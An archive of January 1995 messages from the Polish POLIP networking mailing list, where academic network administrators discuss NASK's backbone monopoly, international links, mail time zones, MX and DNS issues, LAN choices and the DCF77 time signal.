Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id TAA29549 for <polip@zsku.p.lodz.pl>; Tue, 17 Jan 1995 19:12:24 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Tue, 17 Jan 95 19:06:06 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 17 Jan 95 19:05:37 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Tue, 17 Jan 1995 19:05:34 GMT+0100
Subject:       Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <15569C252B@inf.wsp.krakow.pl>

> Date sent:      Tue, 17 Jan 95 12:48:29 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           lis@asic.ict.pwr.wroc.pl (Jarek Lis)
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)
> Organization:   Technical Univeristy of Wroclaw

> : W momencie powstania innej sieci szkiletowej
> : innego operatora, nie bedzie mogl odmowic
> : dolaczenia jej do swojej sieci. (sytuacja hipopetyczna
> : po wprowadzeniu w zycie ustawy o lacznosci) 
> 
> Hm... Nie znam odpowiednich przepisow, ale nie podejrzewam, aby tam sie
> taki zapis znalazl ('NASK (czy dowolny operator) NIE MOZE odmowic
> podlaczenia do sieci'). Dalej zostaje sprawa kosztow takiego dolaczenia,
> Nask moze sobie tyle policzyc, ze sie niektorym odechce.
> 
Nie dowolny operator. Operator sieci *publicznej* natomiast nie moze odmowic. 
Pytanie czy siec NASK- u zostanie uznana za publiczna czy nie.
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From RAJ@inf.wsp.krakow.pl Tue Jan 17 19:15:20 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA27538; Tue, 17 Jan 95 19:11:37 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id TAA29560 for <polip@zsku.p.lodz.pl>; Tue, 17 Jan 1995 19:14:53 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Tue, 17 Jan 95 19:08:35 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 17 Jan 95 19:08:35 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Tue, 17 Jan 1995 19:08:34 GMT+0100
Subject:       Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <15634521AB@inf.wsp.krakow.pl>

> Date sent:      Tue, 17 Jan 95 13:12:11 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)

> > : zrob finger @sam.nask.com.pl.
> > Zrobilem, i nie widze nic ciekawego/podejrzanego.
> 
> Wiekszosc uzytkownikow tej maszyny, to uzytkownicy komercyjni nie majacy
> nic wspolnego z sieciami akademickimi.
No przeciez to .com.pl !!! To w takim razie chyba oczywiste.

> > I nadal najlepszym wyjsciem bylby drugi 'provider' ktory zdjal by z NASK
> > ciezar monopolu.
> 
> Dokladnie! Najwyzszy czas, aby ktos mial prawo to zrobi i aby to jednak
> zrobil. Monopol tak czy owak zawsze tworzy bardzo niezdrowa sytuacje.
Sluchajcie! Co z tym cholernym EUnetem? Pytalem juz o to jakis czas temu. 
Mniej wiecej rok temu reklamowali sie ze strasznym szumem jako konkurencja 
dla NASK-u, a w ogole nie slysze, zeby cos podlaczali, zeby ktos mial u nich 
konta itp... Wie ktos cos na ten temat?
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From RAJ@inf.wsp.krakow.pl Tue Jan 17 19:20:19 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA27899; Tue, 17 Jan 95 19:18:33 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id TAA29589 for <polip@zsku.p.lodz.pl>; Tue, 17 Jan 1995 19:21:51 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Tue, 17 Jan 95 19:15:32 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 17 Jan 95 19:15:20 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Tue, 17 Jan 1995 19:15:16 GMT+0100
Subject:       Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <15802E5373@inf.wsp.krakow.pl>

> Date sent:      Tue, 17 Jan 95 16:38:39 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           lukasz@nask.org.pl (Mirek Luc)
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)
> Organization:   Research And Academic Computer Network

> : Na razie, od wielu lat ma faktyczny monopol. Co wiecej dosc starannie
> : sie bronil, gdy chciano ten monopol zlamac poprzez np. zainstalowanie
> : niezaleznego lacza z Krakowa do Austrii. Slyszalem kiedys o takiej
> : wlasnie inicjatywie.
> 
> Lacza miedzynarodwe prowadza przez Warszawe, a placi sie za dlugosc faktyczna, 
> a nie odleglosc w linii prostej. Chyba nie ma wiec sensu robic drugiego,
> dluzszego (drozszego) lacza w swiat?
> 
"Lacza miedzynarodowe prowadza przez Warszawe" ??????????????????
Nie rozumiem.
No moze te aktualnie istniejace rzeczywiscie prowadza przez Warszawe, ale w 
tej krakowskiej inicjatywie chodzilo o polozenie kabla bezposrednio z Krakowa 
do Wiednia, nie przez zadna Warszawe! Dlaczego to lacze mialoby byc dluzsze i 
drozsze? Nie rozumiem.
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From RAJ@inf.wsp.krakow.pl Tue Jan 17 19:30:21 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA28305; Tue, 17 Jan 95 19:25:30 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id TAA29637 for <polip@zsku.p.lodz.pl>; Tue, 17 Jan 1995 19:28:47 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Tue, 17 Jan 95 19:22:28 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 17 Jan 95 19:22:16 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Tue, 17 Jan 1995 19:22:08 GMT+0100
Subject:       Re: Ustawianie czasu
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <159DBA456F@inf.wsp.krakow.pl>

> Date sent:      Tue, 17 Jan 95 17:22:41 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk)
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Re: Ustawianie czasu
> Organization:   University of Mining and Metallurgy

> Na czym polega problem kowersji czasow? Zawsze wydawalo mi sie,
> ze jesli hosty maja poprawnie ustawina strefe czsowa to ten problem
> nie istnieje. Moze sie jednak myle.
> 
Nie wszystkie mailery rozpoznaja strefy czasowe poprawnie.
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From krzysio@hebe.umcs.lublin.pl Tue Jan 17 19:40:19 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA29170; Tue, 17 Jan 95 19:39:10 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id SAA07784 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:39:48 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501171839.SAA07784@hebe.umcs.lublin.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)
To: polip@zsku.p.lodz.pl
Date: Tue, 17 Jan 1995 19:39:47 +0100 (MET)
In-Reply-To: <3fgl6o$70q@bilbo.nask.org.pl> from "Mirek Luc" at Jan 17, 95 04:36:49 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1472      

Mirek Luc wrote:
> 
> 
> Jeden komentarz natury technicznej:
> 
> [...]
> 
> : Na razie, od wielu lat ma faktyczny monopol. Co wiecej dosc starannie
> : sie bronil, gdy chciano ten monopol zlamac poprzez np. zainstalowanie
> : niezaleznego lacza z Krakowa do Austrii. Slyszalem kiedys o takiej
> : wlasnie inicjatywie.
> 
> Lacza miedzynarodwe prowadza przez Warszawe, a placi sie za dlugosc faktyczna, 
> a nie odleglosc w linii prostej. Chyba nie ma wiec sensu robic drugiego,
> dluzszego (drozszego) lacza w swiat?
> 
Hmmm... w *.pl mamy siec o topologii gwiazdy (o ile nie wezmie sie pod
uwage roznych kiepskich polaczen, jak np. slynne juz 9600 pomiedzy
Wroclawiem, a Poznaniem). Cala zabawa polega wlasnie na tym, aby bylo
wiecej wyjsc z *.pl poza granice Kraju oraz aby lacza te wlasnie nie
szly przez Warszawe.

					Pozdrawiam,
					    -Krzysio

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 19:45:20 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA29504; Tue, 17 Jan 95 19:44:07 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA16303 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 19:31:08 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 18:27:37 GMT
From: lis@asic.ict.pwr.wroc.pl (Jarek Lis)
Message-Id: <3fh26p$t5r@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501171539.AA09733@ocean.iopan.gda.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)

: > Lacza miedzynarodwe prowadza przez Warszawe, a placi sie za dlugosc faktyczna, 
: > a nie odleglosc w linii prostej. Chyba nie ma wiec sensu robic drugiego,
: > dluzszego (drozszego) lacza w swiat?

: Glowne nasze lacze na swiat to linia satelitarna 2Mbps do Szwecji. Czy
: naprawde placimy za okolo 2 razy 36000 km ? :-))))

Kto wie co by wyszlo, gdyby tak porownac ceny....


J.
From piotrwi Tue Jan 17 21:45:21 1995
Received:  by zsku.p.lodz.pl (5.65/25-eef)
	id AA05850; Tue, 17 Jan 95 21:44:51 +0100
Return-Path: <piotrwi>
Date: Tue, 17 Jan 1995 21:44:49 +0100 (MEZ)
From: Piotr Wilk <piotrwi@zsku.p.lodz.pl>
To: polip@zsku.p.lodz.pl
Subject: Re: Ustawianie czasu
Message-Id: <Pine.SCO.3.91.950117214213.5822A-100000@zsku.p.lodz.pl>
Organization: Samodzielny Zaklad Sieci Komputerowych Politechniki Lodzkiej
Address: 90-924 Lodz; ul. Stefanowskiego 18/22
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

LIstproc odrzucil - forwarduje

                                   Piotrek

--
--------------------------------------------------------------
|                        Piotr Wilk                          |
|------------------------------------------------------------|
|     Samodzielny Zaklad      |  email:                      |
|     Sieci Komputerowych     |    piotrwi@zsku.p.lodz.pl    |
|    Politechniki Lodzkiej    |    piotrwi at plearn         |
--------------------------------------------------------------


---------- Forwarded message ----------
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
> Wlasnie... i aby z tego w pelni korzystac wszyscy musieliby pisac na
> Polip'a via newsy. Wielu jednak ludzi pisze korzystajac z e-mail'a (jako
> i ja teraz czynie ;-)). Tak wiec tak czy tak, trzeba bedzie rozwiazac
> problem konwersji czasow.
  Oto naglowek z Twojego listu:

>From ci.pwr.wroc.pl!ict.pwr.wroc.pl!m2n-gate.ict.pwr.pl Tue Jan 17 20:27:55 1995
Path: ci.pwr.wroc.pl!ict.pwr.wroc.pl!m2n-gate.ict.pwr.pl
>From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
Newsgroups: pl.listserv.polip
Subject: Re: Ustawianie czasu
Message-ID: <199501171505.PAA06781@hebe.umcs.lublin.pl>
Date: 17 Jan 95 15:44:35 GMT
Sender: polip@zsku.p.lodz.pl
Content-Type: text
Organization: Lista dyskusyjna POLIP
Lines: 29

Wojciech Myszka wrote:
[reszte skasowalem]
O dziwo data jest GMT (choc, oczywiscie powinna byc UTC, bo GMT to juz chyba 
zlikwidowali :-)
Wojtek
From RAJ@inf.wsp.krakow.pl Tue Jan 17 22:10:21 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06594; Tue, 17 Jan 95 22:06:39 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id WAA00532 for <polip@zsku.p.lodz.pl>; Tue, 17 Jan 1995 22:09:57 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Tue, 17 Jan 95 22:03:37 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 17 Jan 95 22:03:14 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Tue, 17 Jan 1995 22:03:09 GMT+0100
Subject:       Re: to MX or not to MX i jak?
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <184CCE0087@inf.wsp.krakow.pl>

> Date sent:      Tue, 17 Jan 95 20:06:51 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Re: to MX or not to MX i jak?
> Organization:   Department of Maths and Computer Science, Warsaw University

> Pytanie brzmi tak - czy chcemy, zeby listy raczej dochodzily do adrestow
> (niechby i z opoznieniem), czy tez aby w przypadku najmniejszej awarii sieci
> po drodze byly gubione?
Ja wolalbym pierwszy wariant.
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From wowoc@acs.ucalgary.ca Wed Jan 18 00:30:22 1995
Received: from acs7.acs.ucalgary.ca by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA08751; Wed, 18 Jan 95 00:26:55 +0100
Return-Path: <wowoc@acs.ucalgary.ca>
Received: from acs5.acs.ucalgary.ca by acs7.acs.ucalgary.ca (AIX 3.2/UCB 5.64/4.03)
          id AA45839; Tue, 17 Jan 1995 16:28:45 -0700
Received: by acs5.acs.ucalgary.ca (AIX 3.2/UCB 5.64/4.03)
          id AA170138; Tue, 17 Jan 1995 16:28:45 -0700
Date: Tue, 17 Jan 1995 16:28:45 -0700
From: wowoc@acs.ucalgary.ca
Message-Id: <9501172328.AA170138@acs5.acs.ucalgary.ca>
To: polip@zsku.p.lodz.pl
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?

Ten kto odradzal Novell-a przypuszczalnie mial na mysli
zastapienie pecetow przez Macintosh-e z serwerem na Sunie.
Ale SPARCstation 5 to taki tyciuski serwer...

Witold Owoc <wowoc@acs.ucalgary.ca>

__
Short version of signature is back by popular demand.
__
#disclaimer "my.private.views"
---------------------------------------------------------
The University of Calgary had no knowledge of nor in any
way gave its consent to the transmission of this message.
From Jacek@optocomp.waw.pl Wed Jan 18 04:56:42 1995
Received: from bilbo.nask.org.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA00804; Wed, 18 Jan 95 04:56:18 +0100
Return-Path: <Jacek@optocomp.waw.pl>
Received: from msmail.optocomp.waw.pl by bilbo (4.1/SMI-4.1)
	id AA07914; Wed, 18 Jan 95 04:57:05 +0100
Received: by msmail.optocomp.waw.pl with Microsoft Mail
	id <2F1D121B@msmail.optocomp.waw.pl>; Wed, 18 Jan 95 05:05:31 PST
From: Jacek Blaschke <Jacek@optocomp.waw.pl>
To: polip <polip@zsku.p.lodz.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?
Date: Wed, 18 Jan 95 05:03:00 PST
Message-Id: <2F1D121B@msmail.optocomp.waw.pl>
Return-Receipt-To: <Jacek@optocomp.waw.pl>
Encoding: 45 TEXT
X-Mailer: Microsoft Mail V3.0


W tej radzie jest sens ekonomiczny. W oczywisty sposob, technicznie taka 
integracja jest mozliwa, jednak nie trywialna. Liczba sprawnych 
administratorow sieci z podstawowo uzywanymi aplikacjami takimi jak edytory, 
arkusze kalkulacyjne a jednoczesnie znajacymi arkana TCP/IP dla Novella jest 
nikczemnie mala.
Nie jest rowniez specjalnie potrzebna w towarzystwie SUN'a jezeli nie 
uzywamy routing'u przez serwer . Pozostaje wtedy i tak nieuchronny problem 
konfiguracji klienta sieci. Novell zas pozostaje bardzo sprawnym 
fileserver'em.
Windows NT 3.5 ma naturalny support dla TCP/IP, podstawowy zestaw klientow + 
serwer ftp. Jest tez bezproblemowo integrowalny z UNIX'em. Jezeli klientem 
jest WfW 3.11 lub MSClient 3.0 (dla DOS) instalacja i konfiguracja 
oprogramowania sieci jest blyskawiczna (DHCP + WINS). Jest tez sporo 
aplikacji PD (httpd, gopher, WAIS, NNTP itd).
Nie wypada wspominac o cenach i programie MOLP - inne aplikacje tez moga 
okazac sie potrzebne po stronie klienta (co najmniej edytor i arkusz dla 
obliczen statystycznych - socjolodzy!) jak i serwera (SQL na przyklad). Sa 
tez bardziej prymitywne (na poziomie P-Maila) lub profesjonalne rozwiazania 
SMTP.
Dodatkowo unikatowe czy mniej popularne rozwiazania sa drozsze 
administracyjnie.

Jacek

 ----------
| From: polip
| To: jacek
| Subject: Re: Palac Staszica - jaka siec lokalna wybrac?
| Date: Wednesday, January 18, 1995 12:36AM
|
| Ten kto odradzal Novell-a przypuszczalnie mial na mysli
| zastapienie pecetow przez Macintosh-e z serwerem na Sunie.
| Ale SPARCstation 5 to taki tyciuski serwer...
|
| Witold Owoc <wowoc@acs.ucalgary.ca>
|
| __
| Short version of signature is back by popular demand.
| __
| #disclaimer "my.private.views"
| ---------------------------------------------------------
| The University of Calgary had no knowledge of nor in any
| way gave its consent to the transmission of this message.
| 
From piskozub@ocean.iopan.gda.pl Wed Jan 18 09:46:44 1995
Received: from ocean.iopan.gda.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03882; Wed, 18 Jan 95 09:41:44 +0100
Received:  by ocean.iopan.gda.pl (5.65/25-eef)
	id AA13346; Wed, 18 Jan 95 09:42:19 +0100
Return-Path: <piskozub@ocean.iopan.gda.pl>
From: Jacek Piskozub <piskozub@ocean.iopan.gda.pl>
Message-Id: <9501180842.AA13346@ocean.iopan.gda.pl>
Subject: Brzydkie slowa (Bylo: Sygnatura Krzysia)
To: polip@zsku.p.lodz.pl
Date: Wed, 18 Jan 1995 09:42:18 +0100 (Poland)
In-Reply-To: <3fgrka$6d5@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 17, 95 07:37:55 pm
X-Mailer: ELM [version 2.4 PL21]
Content-Type: text
Content-Length: 911       

Andrzej K. Brandt pisze:
> 
> Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote:
> 
> (LAME> ***** Imagine all the people sharing all the world (John Lennon) ***** )

Nie wtracalem sie dotad w sprawy cudzej sygnatury (ktora juz sie zreszta 
zmienila co czyni cala dyskusje "null and void"). Na to powyzej jednak
musze zareagowac:

Primo: Wstawienie swojego dopisku w cytat z kogos [bez zaznaczenia] to
zwyczaj raczej z pralni niz z salonu.

Secundo: Kategorycznie protestuje przeciw uzywaniu tego IRC-owskiego
wyzwiska w powaznych grupach.

Oczekuje przeprosin pana Andrzeja K. Brandta na tym samym forum, na ktorym
slowo to padlo (jako narazony na te praktyki czytelnik, nie bynajmniej jako
osoba przeciw ktorej tego uzyto). Na przyszlosc proponuje panu A.K.B
przynajmnieej zaznaczanie tego w polu Subject (np.: Re: Sygnatura Krzysia
[BRZYDKIE SLOWA!!!] )

Z powazaniem

Jacek Piskozub
piskozub@iopan.gda.pl

From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 10:26:45 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05047; Wed, 18 Jan 95 10:23:38 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA28902 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 10:21:32 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 09:20:12 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fimgc$hop@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501172328.AA170138@acs5.acs.ucalgary.ca>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?

wowoc@acs.ucalgary.ca wrote:
: Ten kto odradzal Novell-a przypuszczalnie mial na mysli
: zastapienie pecetow przez Macintosh-e z serwerem na Sunie.
: Ale SPARCstation 5 to taki tyciuski serwer...

No wiesz, my tutaj w Polsce ogolnie dzialamy za tyciuskie pieniadze w
porownaniu z USA, Kanada etc. Inna sprawa, ze ceny sprzetu w USA sa nadal
mniej wiecej o polowe nizsze. Ostatnio badamy tutaj kwestie cen X-terminali.
To co mozna w USA kupic za $1.500 , to u nas za $2.900...

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 10:26:47 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05050; Wed, 18 Jan 95 10:23:40 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA28901 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 10:21:32 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 09:17:14 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fimaq$hop@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501180842.AA13346@ocean.iopan.gda.pl>
Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia)

Jacek Piskozub (piskozub@ocean.iopan.gda.pl) wrote:

: Secundo: Kategorycznie protestuje przeciw uzywaniu tego IRC-owskiego
: wyzwiska w powaznych grupach.

: Oczekuje przeprosin pana Andrzeja K. Brandta na tym samym forum, na ktorym
: slowo to padlo (jako narazony na te praktyki czytelnik, nie bynajmniej jako
: osoba przeciw ktorej tego uzyto). Na przyszlosc proponuje panu A.K.B
: przynajmnieej zaznaczanie tego w polu Subject (np.: Re: Sygnatura Krzysia
: [BRZYDKIE SLOWA!!!] )

Bardzo lamerskie - slowo lame nie wystepuje jedynie na IRC. 

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From kokowski@CS.PUT.Poznan.PL Wed Jan 18 10:31:45 1995
Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05462; Wed, 18 Jan 95 10:31:07 +0100
Return-Path: <kokowski@CS.PUT.Poznan.PL>
Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1)
	id AA01104; Wed, 18 Jan 95 10:32:28 +0100
Subject: Re: jak to jest z tym naszym DNS?
To: polip@zsku.p.lodz.pl
Date: Wed, 18 Jan 1995 10:18:35 +0100 (CEU)
From: Tomasz Kokowski <kokowski@CS.PUT.Poznan.PL>
In-Reply-To:  <9501171731.aa17120@usctoux1.cto.us.edu.pl> from "Maciek Uhlig" at Jan 17, 95 06:11:08 pm
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Length: 522       
Message-Id:  <9501181018.aa10356@wega.ics.tup.edu.pl>

Maciej Uhlig:

> 
> wczoraj dodalem do DNS nowa maszyne. Dzis niekoniecznie ja wszedzie
> widac. Sprawdzam. Od root servera. Podaje w kolejnosci: bilbo, cocos,
> sunet. Sprawdzam. W bilbo - nie widac. W cocos - nie widac. 
> W sunet - o dziwo - widac. Szwedzi predzej wiedza, co ja tu wyprawiam,
> niz warszawiacy. Zeby nas znow jaki potop nie zalal. Bo mnie juz 
> zalewa, ale nie woda... :-)
>
  Synchronizacja szwankuje. Serial numbers i te rzeczy sie klaniaja.
Przerabiamy to w Poznaniu na co dzien.

Tomasz Kokowski

From ELEKP@elektron.pol.lublin.pl Wed Jan 18 10:46:44 1995
Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06455; Wed, 18 Jan 95 10:44:20 +0100
Return-Path: <ELEKP@elektron.pol.lublin.pl>
Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP
	(1.38.193.4/16.2) id AA21018; Wed, 18 Jan 1995 10:45:14 +0100
Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13);
    Wed, 18 Jan 95 10:40:49 +0100
Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Wed, 18 Jan 95 10:40:21 +0100
From: "Eligiusz Pawlowski, LUBLIN." <ELEKP@elektron.pol.lublin.pl>
To: polip@zsku.p.lodz.pl
Date:          Wed, 18 Jan 1995 10:40:19 +0100
Subject:       Re: Ustawianie czasu-odbiornik DCF77
X-Pmrqc:       1
Priority: normal
X-Mailer:     Pegasus Mail v3.1 (R1a)
Message-Id: <2682FB5771@elektron.pol.lublin.pl>

Witam spragnionych dokladnego czasu!
Problem synchronizacji czasu poprzez siec, z servera czasu jest mi obcy.
Wiem natomiast, ze stosunkowo latwo mozna zsynchronizowac czas w dowolnym 
komputerze (a wiec i w lokalnym serverze), z jednym z dokladniejszych zegarow
w europie.
Zegar znajduje sie w Niemczech, w Mainflingen i jest jednostka PTB.
PTB jest niemieckim odpowiednikiem CUJM (Centralny Urzad Jednostek i Miar).
Niemiecki zegar steruje nadajnik radiowy, pracujacy z czestotliwoscia 77,5kHz,
stad nazwa tego nadajnika DCF77.
Sygnal czasu mozna odbierac praktycznie na calym obszarze Polski, potrzebny 
jest odpowiedni odbiornik i program.
Jest w Polsce firma, ktora to oferuje.
Zainteresowanych odsylam do miesiecznika Elektronika Praktyczna z ubieglego
roku, niestety numeru nie pamietam. Jest dokladnie opisany uklad i program
(no moze niezbyt dokladnie, tylko tak , aby zachecic do kupienia).
Jest tez w kilku numerach reklama firmy, ktora to sprzedaje.
